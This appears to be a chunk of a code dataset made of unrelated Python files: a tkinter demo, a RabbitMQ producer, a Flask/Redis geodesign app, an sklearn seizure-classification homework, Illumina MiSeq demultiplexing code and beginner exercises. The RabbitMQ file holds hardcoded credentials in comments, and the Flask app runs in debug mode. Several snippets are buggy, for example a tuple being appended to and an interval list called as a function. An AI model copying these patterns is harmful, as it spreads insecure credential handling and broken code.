moxa_ip='192.168.60.52',\n moxa_di_names=['OUT_BACK', 'OUT'], moxa_dis=[0, 1],\n cam_ips=['192.168.60.16', '192.168.60.13']),\n Entrance(name='K2', moxa_ip='192.168.60.54',\n moxa_di_names=['IN', 'IN_B'], moxa_dis=[0, -1],\n cam_ips=['192.168.60.19', '192.168.60.12']),\n Entrance(name='K3', moxa_ip='192.168.60.53',\n moxa_di_names=['IN', 'OUT'], moxa_dis=[0, 2],\n cam_ips=['192.168.60.10', '192.168.60.18']),\n Entrance(name='K3_2', moxa_ip='192.168.60.55',\n moxa_di_names=['OUT_BACK', 'OUT_FRONT'], moxa_dis=[0, 1],\n cam_ips=['192.168.60.9', '192.168.60.8']),\n \"\"\"\n","sub_path":"Pentagon/configs/pentagon.py","file_name":"pentagon.py","file_ext":"py","file_size_in_byte":3237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"607099795","text":"# -*- coding: utf-8 -*-\n# Date: 2021/06/11\n\nfrom tkinter import *\n\n\ndef btn_hit():\n global msg_on\n if msg_on == False:\n msg_on = True\n x.set(\"I Like tkinter\")\n else:\n msg_on = False\n x.set(\"\")\n\n\nroot = Tk()\nroot.title(\"title\")\n\nmsg_on = False\nx = StringVar() # Label的变量内容\n\nlabel = Label(root, textvariable=x,\n fg=\"blue\", bg=\"lightyellow\",\n font=\"Verdana 16 bold\",\n width=25, height=2)\n\nlabel.pack()\n\nbtn = Button(root, text=\"Click Me\", command=btn_hit)\nbtn.pack()\n\nroot.mainloop()\n","sub_path":"ch5_Variable/01_set方法.py","file_name":"01_set方法.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"363088272","text":"import pika\nfrom threading import Thread\nimport time\n\n\nclass OneTimeProducer():\n\n def __init__(self,connection,exchange,routing_key):\n self.channel=connection.channel()\n self.exchange=exchange\n self.routing_key=routing_key\n\n\n def sendMessage(self,message):\n try:\n self.channel.basic_publish(exchange=self.exchange,\n routing_key=self.routing_key,\n body=message)\n finally:\n self.channel.close()\n\ndef producer_handler(connection):\n\n #initial producer object\n producer = OneTimeProducer(connection=connection,\n exchange=\"ky-exchange-fanout\",\n routing_key=\"QA\")\n producer.start_handler()\n\n# credentials = pika.PlainCredentials('admin', 'admin123')\n# connection = pika.BlockingConnection(pika.ConnectionParameters('10.122.64.110', 5672, 'kongyi', credentials))\n#\n# if __name__ == '__main__':\n# credentials = pika.PlainCredentials('admin', 'admin123')\n# connection = pika.BlockingConnection(pika.ConnectionParameters(\n# '10.122.64.110', 5672, 'kongyi', credentials))\n# try:\n# producer_handler(connection)\n# finally:\n# connection.close()\n\n\n\n\n\n","sub_path":"common_utils/rabbitmq_utils.py","file_name":"rabbitmq_utils.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"386460544","text":"#!/usr/bin/env python3\nfrom flask import Flask, url_for\nfrom flask import render_template\n\nfrom flask import request, Response\nimport json, GeodesignHub\nimport config\nimport json\nimport utils\nimport redis\nimport os\nredis_url = os.getenv('REDIS_URL', 'redis://localhost:6379')\nredis = redis.from_url(redis_url)\n\nfrom rq import Queue\nfrom worker import conn\n\nq = Queue(connection=conn)\n\n# Imports\n\napp = Flask(__name__)\n\n@app.route('/', methods = ['GET'])\ndef api_root():\n\t''' This is the root of the webservice, upon successful authentication a text will be displayed in the browser '''\n\ttry:\n\t\tprojectid = request.args.get('projectid')\n\t\tcteamid = request.args.get('cteamid')\n\t\tapitoken = request.args.get('apitoken')\n\t\tsynthesisid = request.args.get('synthesisid')\n\n\texcept KeyError as e:\n\t\tmsg = json.dumps({\"message\":\"Could not parse Projectid, Diagram ID or API Token ID. One or more of these were not found in your JSON request.\"})\n\t\treturn Response(msg, status=400, mimetype='application/json')\n\n\tif projectid and cteamid and apitoken and synthesisid:\n\t\t# Initialize the API\n\t\tmyAPIHelper = GeodesignHub.GeodesignHubClient(url = config.apisettings['serviceurl'], project_id=projectid, token=apitoken)\n\t\t# Download Data\n\t\tr = myAPIHelper.get_synthesis(teamid = int(cteamid), synthesisid = synthesisid)\n\t\ts = myAPIHelper.get_systems()\n\t\tb = myAPIHelper.get_project_bounds()\n\t\td = myAPIHelper.get_diagrams()\n\t\t\n\t\t# Check responses / data\n\t\ttry:\n\t\t\tassert r.status_code == 200\n\t\texcept AssertionError as ae:\n\t\t\t\n\t\t\tprint(\"Invalid reponse %s\" % ae)\n\t\telse:\n\t\t\tfinalsynthesis = json.loads(r.text)\n\t\t\t\n\t\ttry:\n\t\t\tassert s.status_code == 200\n\t\texcept AssertionError as ae:\n\t\t\tprint(\"Invalid reponse %s\" % ae)\n\t\telse:\n\t\t\tsystems = json.loads(s.text)\n\t\t\t\n\t\ttry:\n\t\t\tassert d.status_code == 200\n\t\texcept AssertionError as ae:\n\t\t\tprint(\"Invalid reponse %s\" % ae)\n\t\telse:\n\t\t\tdiagrams = json.loads(d.text)\n\t\t# Loop over features and add to corpus and Corpus Dictionary\n\t\tmyBagofWordsGenerator = utils.BagofWordsGenerator()\n\t\tformattedfinalsynthesis = {\"type\":\"FeatureCollection\",\"features\":[]}\n\t\tfor f in finalsynthesis['features']:\n\t\t\t\n\t\t\tdiagramid = f['properties']['diagramid']\n\t\t\ttry:\n\t\t\t\tnotes = f['properties']['notes']\n\t\t\texcept KeyError as ke:\n\t\t\t\tnotes = None\n\t\t\tformattedfeature = f\n\t\t\tformattedfinalsynthesis['features'].append(formattedfeature)\n\t\t\tmyBagofWordsGenerator.addtoCorpus(f['properties']['description'])\n\t\t\tif notes: \n\t\t\t\tmyBagofWordsGenerator.addtoCorpus(notes)\n\t\t\tmyBagofWordsGenerator.addtoCorpusDict(f['properties']['diagramid'],f['properties']['description'])\n\t\t# Store / Cache in Redis\n\t\tbowkey = 'bow-'+ synthesisid\n\t\twordfreq = redis.get(bowkey)\n\t\tif wordfreq:\n\t\t\twordfreq = json.loads(wordfreq)\n\t\telse:\n\t\t\twordfreq = myBagofWordsGenerator.generateBagofWords()\n\t\t\t\n\t\t\tredis.set(bowkey, json.dumps(wordfreq))\n\n\t\tkey = 'ss-'+ synthesisid\n\t\tss = redis.get(key)\n\n\t\tif (ss):\n\t\t\tsentenceSimilarity = json.loads(ss)\n\t\telse:\n\t\t\ttmpCorpusDict = myBagofWordsGenerator.getOrderedCorpus()\n\t\t\tresult = q.enqueue(utils.createSenteceSimilarity,{'data':tmpCorpusDict,'key':key})\n\t\t\tsentenceSimilarity = {}\n\t\t# sentenceSimilarity ={}\n\t\ttry:\n\t\t\tassert b.status_code == 200\n\t\texcept AssertionError as ae:\n\t\t\tprint(\"Invalid reponse %s\" % ae)\n\t\telse:\n\t\t\tbounds = json.loads(b.text)\n\t\t\tbounds = bounds['bounds']\n\n\t\tdesigndata = {'systems':systems ,'synthesis':formattedfinalsynthesis,'bounds':bounds,'wordfreq':wordfreq,'fuzzymatches':sentenceSimilarity,'diagrams':diagrams}\n\t\tmsg = {\"status\":1,\"message\":\"Diagrams have been uploaded\",\"data\":designdata}\n\t\t# return Response(msg, status=400, mimetype='application/json')\n\telse:\n\t\n\t\tmsg = {\"status\":0, \"message\":\"Could not parse Project ID, Diagram ID or API Token ID. One or more of these were not found in your JSON request.\"}\n\t\t# return Response(msg, status=400, mimetype='application/json')\n\n\treturn render_template('home.html', op = msg)\n\nif __name__ == '__main__':\n\tapp.debug = True\n\tport = int(os.environ.get(\"PORT\", 5001))\n\tapp.run(port =5001)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"636793431","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.12-x86_64/egg/reedmuller/rmencode.py\n# Compiled at: 2018-05-19 10:35:14\n\"\"\"rmencode.py\n\nBy Sebastian Raaphorst, 2012.\n\nSimple command-line application for Reed-Muller encoding of one or more 0-1 strings.\"\"\"\nimport sys, reedmuller\nif __name__ == '__main__':\n if len(sys.argv) < 4:\n sys.stderr.write('Usage: %s r m word [word [...]]\\n' % (sys.argv[0],))\n sys.exit(1)\n r, m = map(int, sys.argv[1:3])\n if m <= r:\n sys.stderr.write('We require r < m.\\n')\n sys.exit(2)\n rm = reedmuller.ReedMuller(r, m)\n k = rm.message_length()\n for word in sys.argv[3:]:\n try:\n listword = list(map(int, word))\n if not set(listword).issubset([0, 1]) or len(listword) != k:\n sys.stderr.write('FAIL: word %s is not a 0-1 string of length %d\\n' % (word, k))\n else:\n print ('').join(map(str, rm.encode(listword)))\n except:\n sys.stderr.write('FAIL: word %s is not a 0-1 string of length %d\\n' % (word, k))","sub_path":"pycfiles/reedmuller-1.1.2-py2.7/rmencode.py","file_name":"rmencode.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"72528090","text":"#! python3\n# -*- coding:UTF-8 -*-\n\"\"\"\n# Created on 2019/10/22 9:17\n# insertInterval\n# @author: ChangFeng\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def insert(self, intervals: List[List[int]], newInterval: List[int]) -> List[List[int]]:\n intervals.append(newInterval)\n intervals.sort(key=lambda x: x[0])\n merged = []\n for interval in intervals:\n if not merged or merged[-1][-1] < interval[0]:\n merged.append(interval)\n else:\n merged[-1][-1] = max(merged[-1][-1], interval[-1])\n return merged\n\n def insert1(self, intervals, newInterval):\n s, e = newInterval[0], newInterval[-1]\n left = [i for i in intervals if i[-1] < s]\n right = [i for i in intervals if i[0] > e]\n if left + right != intervals:\n s = min(s, intervals[len(left)][0])\n e = max(e, intervals[~len(right)][-1])\n return left + [intervals(s, e)] + right\n\n\ndef main():\n test_case = [[[1, 3], [6, 9]], [2, 5]]\n print(Solution().insert1(*test_case))\n test_case = [[[1, 2], [3, 5], [6, 7], [8, 10], [12, 16]], [4, 8]]\n print(Solution().insert1(*test_case))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"algorithms/insertInterval.py","file_name":"insertInterval.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"154647929","text":"## Data and Visual Analytics - Homework 4\n## Georgia Institute of Technology\n## Applying ML algorithms to detect seizure\n\nimport numpy as np\nimport pandas as pd\nimport time\n\nfrom sklearn.model_selection import cross_val_score, GridSearchCV, cross_validate, train_test_split\nfrom sklearn.metrics import accuracy_score, classification_report\nfrom sklearn.svm import SVC\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.preprocessing import StandardScaler, normalize\n\n######################################### Reading and Splitting the Data ###############################################\n# XXX\n# TODO: Read in all the data. Replace the 'xxx' with the path to the data set.\n# XXX\ndata = pd.read_csv('seizure_dataset.csv')\n\n# Separate out the x_data and y_data.\nx_data = data.loc[:, data.columns != \"y\"]\ny_data = data.loc[:, \"y\"]\n\n# The random state to use while splitting the data.\nrandom_state = 100\n\n# XXX\n# TODO: Split 70% of the data into training and 30% into test sets. Call them x_train, x_test, y_train and y_test.\n# Use the train_test_split method in sklearn with the paramater 'shuffle' set to true and the 'random_state' set to 100.\nx_train, x_test, y_train, y_test = train_test_split(x_data, y_data, test_size = 0.3, random_state = random_state)\n\n# XXX\n\n\n# ############################################### Linear Regression ###################################################\n# XXX\n# TODO: Create a LinearRegression classifier and train it.\nlinearReg = LinearRegression().fit(x_train,y_train)\n# XXX\n\n# XXX\n# TODO: Test its accuracy (on the training set) using the accuracy_score method.\nprint(\"For Linear Regression:\")\ny_predict_train = linearReg.predict(x_train)\ny_predict_train_round = [round(k) for k in y_predict_train]\ntrain_score = accuracy_score(y_train, y_predict_train_round)\nprint(\"\tAccuracy for training set: \" + str(train_score))\n# TODO: Test its accuracy (on the testing set) using the accuracy_score method.\ny_predict_test = linearReg.predict(x_test)\ny_predict_test_round = [round(k) for k in y_predict_test]\ntest_score = accuracy_score(y_test, y_predict_test_round)\nprint(\"\tAccuracy for testing set: \" + str(test_score))\n# Note: Use y_predict.round() to get 1 or 0 as the output.\n# XXX\n\n\n# ############################################### Multi Layer Perceptron #################################################\n# XXX\n# TODO: Create an MLPClassifier and train it.\nmlpReg = MLPClassifier().fit(x_train,y_train)\n# XXX\n\n\n# XXX\n# TODO: Test its accuracy on the training set using the accuracy_score method.\nprint(\"For Multi Layer Perceptron:\")\ny_predict_train_mlp = mlpReg.predict(x_train)\ny_predict_train_mlp_round = [round(k) for k in y_predict_train_mlp]\ntrain_mlp_score = accuracy_score(y_train, y_predict_train_mlp_round)\nprint(\"\tAccuracy for training set: \" + str(train_mlp_score))\n# TODO: Test its accuracy on the test set using the accuracy_score method.\ny_predict_test_mlp = mlpReg.predict(x_test)\ny_predict_test_mlp_round = [round(k) for k in y_predict_test_mlp]\ntest_mlp_score = accuracy_score(y_test, y_predict_test_mlp_round)\nprint(\"\tAccuracy for testing set: \" + str(test_mlp_score))\n# XXX\n\n\n\n\n\n# ############################################### Random Forest Classifier ##############################################\n# XXX\n# TODO: Create a RandomForestClassifier and train it.\nrfReg = RandomForestClassifier().fit(x_train, y_train)\n# XXX\n\n\n# XXX\n# TODO: Test its accuracy on the training set using the accuracy_score method.\nprint(\"For Random Forest Classifier:\")\ny_predict_train_rf = rfReg.predict(x_train)\ny_predict_train_rf_round = [round(k) for k in y_predict_train_rf]\ntrain_rf_score = accuracy_score(y_train, y_predict_train_rf_round)\nprint(\"\t(Default) Accuracy for training set: \" + str(train_rf_score))\n# TODO: Test its accuracy on the test set using the accuracy_score method.\ny_predict_test_rf = rfReg.predict(x_test)\ny_predict_test_rf_round = [round(k) for k in y_predict_test_rf]\ntest_rf_score = accuracy_score(y_test, y_predict_test_rf_round)\nprint(\"\t(Default) Accuracy for testing set: \" + str(test_rf_score))\n# -----------------------------------------------------------------------\n\nrfReg_best = RandomForestClassifier(n_estimators=60, max_depth=50).fit(x_train, y_train)\ny_predict_train_rf_best = rfReg_best.predict(x_train)\ny_predict_train_rf_round_best = [round(k) for k in y_predict_train_rf_best]\ntrain_rf_score_best = accuracy_score(y_train, y_predict_train_rf_round_best)\nprint(\"\t(Best) Accuracy for training set: \" + str(train_rf_score_best))\n# TODO: Test its accuracy on the test set using the accuracy_score method.\ny_predict_test_rf_best = rfReg_best.predict(x_test)\ny_predict_test_rf_round_best = [round(k) for k in y_predict_test_rf_best]\ntest_rf_score_best = accuracy_score(y_test, y_predict_test_rf_round_best)\nprint(\"\t(Best) Accuracy for testing set: \" + str(test_rf_score_best))\n# XXX\n\n# XXX\n# TODO: Tune the hyper-parameters 'n_estimators' and 'max_depth'.\n# Print the best params, using .best_params_, and print the best score, using .best_score_.\n\nparameters_rf = {'n_estimators':[10, 20, 40, 60, 80, 100, 120, 140], \n'max_depth':[6, 8, 10, 30, 50, 75, 100]}\nrfReg_tune = RandomForestClassifier()\nrlf = GridSearchCV(rfReg_tune, parameters_rf, cv = 10)\nrlf.fit(x_train, y_train)\n\nprint(\"\tBest paramaters after CV:\")\nprint(\"\t \"+str(rlf.best_params_))\nprint(\"\t \"+str(rlf.best_score_))\n\n# XXX\n\n\n# ############################################ Support Vector Machine ###################################################\n# XXX\n# TODO: Pre-process the data to standardize or normalize it, otherwise the grid search will take much longer\nx_train_nor = normalize(x_train)\nx_test_nor = normalize(x_test)\n# TODO: Create a SVC classifier and train it.\nrfReg = SVC(gamma = 'auto').fit(x_train_nor, y_train)\n# XXX\n\n# XXX\n# TODO: Test its accuracy on the training set using the accuracy_score method.\nprint(\"For Support Vector Machine:\")\ny_predict_train_rf = rfReg.predict(x_train_nor)\ny_predict_train_rf_round = [round(k) for k in y_predict_train_rf]\ntrain_rf_score = accuracy_score(y_train, y_predict_train_rf_round)\nprint(\"\t(Default) Accuracy for training set: \" + str(train_rf_score))\n# TODO: Test its accuracy on the test set using the accuracy_score method.\ny_predict_test_rf = rfReg.predict(x_test_nor)\ny_predict_test_rf_round = [round(k) for k in y_predict_test_rf]\ntest_rf_score = accuracy_score(y_test, y_predict_test_rf_round)\nprint(\"\t(Default) Accuracy for testing set: \" + str(test_rf_score))\n# -----------------------------------------------------------\n\nrfReg_best = SVC(gamma = 'auto', kernel='linear', C=0.001).fit(x_train_nor, y_train)\ny_predict_train_rf_best = rfReg_best.predict(x_train_nor)\ny_predict_train_rf_round_best = [round(k) for k in y_predict_train_rf_best]\ntrain_rf_score_best = accuracy_score(y_train, y_predict_train_rf_round_best)\nprint(\"\t(Best) Accuracy for training set: \" + str(train_rf_score_best))\n# TODO: Test its accuracy on the test set using the accuracy_score method.\ny_predict_test_rf_best = rfReg_best.predict(x_test_nor)\ny_predict_test_rf_round_best = [round(k) for k in y_predict_test_rf_best]\ntest_rf_score_best = accuracy_score(y_test, y_predict_test_rf_round_best)\nprint(\"\t(Best) Accuracy for testing set: \" + str(test_rf_score_best))\n# XXX\n\n# XXX\n# TODO: Tune the hyper-parameters 'C' and 'kernel' (use rbf and linear).\n# Print the best params, using .best_params_, and print the best score, using .best_score_.\n\nparameters_rf = {'kernel':('linear', 'rbf'), 'C':[0.001, 0.01, 0.1, 1, 10, 100]}\nrfReg_tune = SVC(gamma = 'auto')\nclf = GridSearchCV(rfReg_tune, parameters_rf, cv = 10, return_train_score=True)\nclf.fit(x_train_nor, y_train)\n\nprint(\"\tBest paramaters after CV:\")\nprint(\"\t \"+str(clf.best_params_))\nprint(\"\t \"+str(clf.best_score_))\n\nprint(\"mean training score:\")\nprint(clf.cv_results_['mean_train_score'])\nprint(\"mean testing score:\")\nprint(clf.cv_results_['mean_test_score'])\nprint(\"mean fit time:\")\nprint(clf.cv_results_['mean_fit_time'])\n\n# XXX\n\n\n","sub_path":"HW4-MMap.Random Forest.SciKit Learn/Q3/hw4q3.py","file_name":"hw4q3.py","file_ext":"py","file_size_in_byte":8099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"359708974","text":"import os\nimport re\nimport shutil\nimport logging\nfrom taca.illumina.HiSeq_Runs import HiSeq_Run\nfrom flowcell_parser.classes import SampleSheetParser\n\nlogger = logging.getLogger(__name__)\n\nIDX_BM_PAT = re.compile('I[0-9]*')\n\nclass MiSeq_Run(HiSeq_Run):\n\n def __init__(self, path_to_run, configuration):\n # Constructor, it returns a MiSeq object only if the MiSeq run belongs to NGI facility, i.e., contains\n # Application or production in the Description\n super(MiSeq_Run, self).__init__( path_to_run, configuration)\n self._set_sequencer_type()\n self._set_run_type()\n self._copy_samplesheet()\n\n def _set_sequencer_type(self):\n self.sequencer_type = 'MiSeq'\n\n def _set_run_type(self):\n ssname = os.path.join(self.run_dir,\n 'SampleSheet.csv')\n if not os.path.exists(ssname):\n # Case in which no samplesheet is found, assume it is a non NGI run\n self.run_type = 'NON-NGI-RUN'\n else:\n # If SampleSheet exists try to see if it is a NGI-run\n ssparser = SampleSheetParser(ssname)\n if ssparser.header['Description'] == 'Production' or ssparser.header['Description'] == 'Applications':\n self.run_type = 'NGI-RUN'\n else:\n # Otherwise this is a non NGI run\n self.run_type = 'NON-NGI-RUN'\n\n def _get_samplesheet(self):\n \"\"\"Locate and parse the samplesheet for a run.\n In MiSeq case this is located in FC_DIR/SampleSheet.csv\n \"\"\"\n ssname = os.path.join(self.run_dir,\n 'SampleSheet.csv')\n if os.path.exists(ssname):\n # If exists parse the SampleSheet\n return ssname\n else:\n # Some MiSeq runs do not have the SampleSheet at all, in this case assume they are non NGI.\n # Not real clean solution but what else can be done if no samplesheet is provided?\n return None\n\n def _copy_samplesheet(self):\n ssname = self._get_samplesheet()\n if ssname is None:\n return None\n ssparser = SampleSheetParser(ssname)\n # Copy the original samplesheet locally.\n # Copy again if already done as there might have been changes to the samplesheet\n try:\n shutil.copy(ssname, os.path.join(self.run_dir, '{}.csv'.format(self.flowcell_id)))\n ssname = os.path.join(self.run_dir, os.path.split(ssname)[1])\n except:\n raise RuntimeError('unable to copy file {} to destination {}'.format(ssname, self.run_dir))\n\n # This sample sheet has been created by the LIMS and copied by a sequencing operator. It is not ready\n # to be used it needs some editing.\n # This will contain the samplesheet with all the renaiming to be used with bcl2fastq\n samplesheet_dest = os.path.join(self.run_dir, 'SampleSheet_copy.csv')\n # Check that the samplesheet is not already present. In this case go the next step\n if os.path.exists(samplesheet_dest):\n logger.info('SampleSheet_copy.csv found ... overwriting it')\n try:\n with open(samplesheet_dest, 'w') as fcd:\n fcd.write(self._generate_clean_samplesheet(ssparser))\n except Exception as e:\n logger.error(e)\n return False\n logger.info(('Created SampleSheet_copy.csv for Flowcell {} in {} '.format(self.id, samplesheet_dest)))\n # SampleSheet.csv generated\n # When demultiplexing SampleSheet.csv is the one I need to use\n self.runParserObj.samplesheet = SampleSheetParser(os.path.join(self.run_dir, 'SampleSheet_copy.csv'))\n if not self.runParserObj.obj.get('samplesheet_csv'):\n self.runParserObj.obj['samplesheet_csv'] = self.runParserObj.samplesheet.data\n\n def _generate_clean_samplesheet(self, ssparser):\n \"\"\"Will generate a 'clean' samplesheet, for bcl2fastq\"\"\"\n output = u''\n # Header\n output += '[Header]{}'.format(os.linesep)\n for field in sorted(ssparser.header):\n output += '{},{}'.format(field.rstrip(), ssparser.header[field].rstrip())\n output += os.linesep\n # Parse the data section\n data = []\n for line in ssparser.data:\n entry = {}\n for field, value in line.items():\n if ssparser.dfield_sid in field:\n entry[field] = 'Sample_{}'.format(value)\n elif ssparser.dfield_proj in field:\n entry[field] = value.replace('.', '__')\n else:\n entry[field] = value\n if 'Lane' not in entry:\n entry['Lane'] = '1'\n if 'index' not in entry:\n entry['index'] = ''\n if 'I7_Index_ID' not in entry:\n entry['I7_Index_ID'] = ''\n if 'index2' not in entry:\n entry['index2'] = ''\n if 'I5_Index_ID' not in entry:\n entry['I5_Index_ID'] = ''\n data.append(entry)\n\n fields_to_output = ['Lane',\n ssparser.dfield_sid,\n ssparser.dfield_snm,\n 'index',\n ssparser.dfield_proj,\n 'I7_Index_ID',\n 'index2',\n 'I5_Index_ID']\n # Create the new SampleSheet data section\n output += '[Data]{}'.format(os.linesep)\n for field in ssparser.datafields:\n if field not in fields_to_output:\n fields_to_output.append(field)\n output += ','.join(fields_to_output)\n output += os.linesep\n # Process each data entry and output it\n for entry in data:\n line = []\n for field in fields_to_output:\n line.append(entry[field])\n output += ','.join(line)\n output += os.linesep\n return output\n\n\n def _generate_bcl2fastq_command(self, base_masks, strict=True, suffix=0, mask_short_adapter_reads=False):\n \"\"\"Generates the command to demultiplex with the given base_masks.\n If strict is set to true demultiplex only lanes in base_masks\n \"\"\"\n logger.info('Building bcl2fastq command')\n cl = [self.CONFIG.get('bcl2fastq')['bin']]\n if 'options' in self.CONFIG.get('bcl2fastq'):\n cl_options = self.CONFIG['bcl2fastq']['options']\n # Append all options that appear in the configuration file to the main command.\n for option in cl_options:\n if isinstance(option, dict):\n opt, val = list(option.items())[0]\n # Skip output-dir has I might need more than one\n if 'output-dir' not in opt:\n cl.extend(['--{}'.format(opt), str(val)])\n else:\n cl.append('--{}'.format(option))\n\n # Add the base_mask for each lane\n tiles = []\n samplesheetMaskSpecific = os.path.join(os.path.join(self.run_dir, 'SampleSheet_{}.csv'.format(suffix)))\n output_dir = 'Demultiplexing_{}'.format(suffix)\n cl.extend(['--output-dir', output_dir])\n\n runSetup = self.runParserObj.runinfo.get_read_configuration()\n index_cycles = [0, 0]\n for read in runSetup:\n if read['IsIndexedRead'] == 'Y':\n if int(read['Number']) == 2:\n index_cycles[0] = int(read['NumCycles'])\n else:\n index_cycles[1] = int(read['NumCycles'])\n\n with open(samplesheetMaskSpecific, 'w') as ssms:\n ssms.write(u'[Header]\\n')\n ssms.write(u'[Data]\\n')\n ssms.write(u','.join(self.runParserObj.samplesheet.datafields))\n ssms.write(u'\\n')\n for lane in sorted(base_masks):\n # Iterate thorugh each lane and add the correct --use-bases-mask for that lane\n # There is a single basemask for each lane, I checked it a couple of lines above\n base_mask = [base_masks[lane][bm]['base_mask'] for bm in base_masks[lane]][0] # Get the base_mask\n # Add the extra command option if we have samples with single short index\n idx_bm = [x[0] for x in [IDX_BM_PAT.findall(bm) for bm in base_mask] if len(x)>0]\n if len(idx_bm)==1:\n if int(re.findall('\\d+',idx_bm[0])[0]) <= 8:\n for opt, val in self.CONFIG['bcl2fastq']['options_short_single_index'][0].items():\n cl.extend(['--{}'.format(opt), str(val)])\n # Check NoIndex case\n noindex_flag = False\n samples = [base_masks[lane][bm]['data'] for bm in base_masks[lane]][0]\n if len(samples) == 1 and (samples[0]['index'] == '' and samples[0]['index2'] == ''):\n noindex_flag = True\n # Add the extra command option if we have NoIndex sample but still run indexing cycles in sequencing\n if index_cycles != [0, 0] and noindex_flag:\n for opt_val in self.CONFIG['bcl2fastq']['options_NOINDEX']:\n if isinstance(opt_val, str):\n cl.extend(['--{}'.format(opt_val)])\n elif isinstance(opt_val, dict):\n for opt, val in opt_val.items():\n cl.extend(['--{}'.format(opt), str(val)])\n # The base mask also needs to be changed\n base_mask_expr = '{}:'.format(lane) + ','.join([i.replace('N','I') for i in base_mask])\n # All other cases\n else:\n base_mask_expr = '{}:'.format(lane) + ','.join(base_mask)\n cl.extend(['--use-bases-mask', base_mask_expr])\n if strict:\n tiles.extend(['s_{}'.format(lane)])\n # These are all the samples that need to be demux with this samplemask in this lane\n for sample in samples:\n # Case of NoIndex\n if index_cycles != [0, 0] and noindex_flag:\n for field in self.runParserObj.samplesheet.datafields:\n if field in ['index', 'I7_Index_ID']:\n fake_index1 = 'T'*index_cycles[0] if index_cycles[0] !=0 else ''\n ssms.write(u'{},'.format(fake_index1))\n elif field in ['index2', 'I5_Index_ID']:\n fake_index2 = 'A'*index_cycles[1] if index_cycles[1] !=0 else ''\n ssms.write(u'{},'.format(fake_index2))\n else:\n ssms.write(u'{},'.format(sample[field]))\n else:\n for field in self.runParserObj.samplesheet.datafields:\n ssms.write(u'{},'.format(sample[field]))\n ssms.write(u'\\n')\n if strict:\n cl.extend(['--tiles', ','.join(tiles)])\n cl.extend(['--sample-sheet', samplesheetMaskSpecific])\n if mask_short_adapter_reads:\n cl.extend(['--mask-short-adapter-reads', '0'])\n\n logger.info(('BCL to FASTQ command built {} '.format(' '.join(cl))))\n return cl\n","sub_path":"taca/illumina/MiSeq_Runs.py","file_name":"MiSeq_Runs.py","file_ext":"py","file_size_in_byte":11436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"108365945","text":"import unittest\n\n\n# Given a string and a non-negative int n, return a larger string\n# that is n copies of the original string.\n\ndef string_times(string, n):\n return string * n\n\n# Given an array of ints, return True if one of the first 4 elements\n# in the array is a 9. The array length may be less than 4.\n\n\ndef array_front9(nums):\n for num in nums:\n if 9 not in nums:\n return False\n if nums.index(9) < 3:\n return True\n else:\n return False\n\n\n# Given a string, return the count of the number of times\n# that a substring length 2 appears in the string and also as\n# the last 2 chars of the string, so \"hixxxhi\" yields 1 (we won't count\n# the end substring).\ndef last2(string):\n sub = string[-2:]\n range = len(string[:-3])\n start = 0\n lst = list()\n while start < range:\n index = string[:-2].find(sub, start)\n if index >= 0 and index not in lst:\n lst.append(index)\n start += 1\n return len(lst)\n\n\n# Write a program that maps a list of words into a list of\n# integers representing the lengths of the correponding words.\ndef length_words(array):\n lst = list()\n for word in array:\n lst.append(len(word))\n\n return lst\n\n# write fizbuzz programm\n\n\ndef fizbuzz():\n result = ()\n for x in range(101):\n if x % 3 == 0 and x % 5 == 0:\n result.append(\"fizz buzz\")\n elif x % 3 == 0:\n result.append('fizz')\n elif x % 5 == 0:\n result.append('buzz')\n else:\n result.append(str(x))\n return result\n\n# Write a function that takes a number and returns a list of its digits.\n\n\ndef number2digits(number):\n b = str(number)\n lst = list()\n for u in b:\n v = int(u)\n lst.append(v)\n return lst\n\n# Write function that translates a text to Pig Latin and back.\n# English is translated to Pig Latin by taking the first letter of every word,\n# moving it to the end of the word and adding 'ay'\n\n\ndef pigLatin(text):\n words = text.lower().split()\n lst = list()\n for word in words:\n wn = word[1:] + word[0] + \"ay\"\n lst.append(wn)\n u = \" \".join(lst)\n v = u[0].title() + u[1:]\n return v\n\n# Here's our \"unit tests\".\n\n\nclass Lesson1Tests(unittest.TestCase):\n\n def testArrayFront9(self):\n self.assertEqual(array_front9([1, 2, 9, 3, 4]), True)\n self.assertEqual(array_front9([1, 2, 3, 4, 9]), False)\n self.assertEqual(array_front9([1, 2, 3, 4, 5]), False)\n\n def testStringTimes(self):\n self.assertEqual(string_times('Hel', 2), 'HelHel')\n self.assertEqual(string_times('Toto', 1), 'Toto')\n self.assertEqual(string_times('P', 4), 'PPPP')\n\n def testLast2(self):\n self.assertEqual(last2('hixxhi'), 1)\n self.assertEqual(last2('xaxxaxaxx'), 1)\n self.assertEqual(last2('axxxaaxx'), 2)\n\n def testLengthWord(self):\n self.assertEqual(length_words(['hello', 'toto']), [5, 4])\n self.assertEqual(length_words(\n ['s', 'ss', '59fk', 'flkj3']), [1, 2, 4, 5])\n\n def testNumber2Digits(self):\n self.assertEqual(number2digits(8849), [8, 8, 4, 9])\n self.assertEqual(number2digits(4985098), [4, 9, 8, 5, 0, 9, 8])\n\n def testPigLatin(self):\n self.assertEqual(pigLatin(\"The quick brown fox\"),\n \"Hetay uickqay rownbay oxfay\")\n\n\ndef 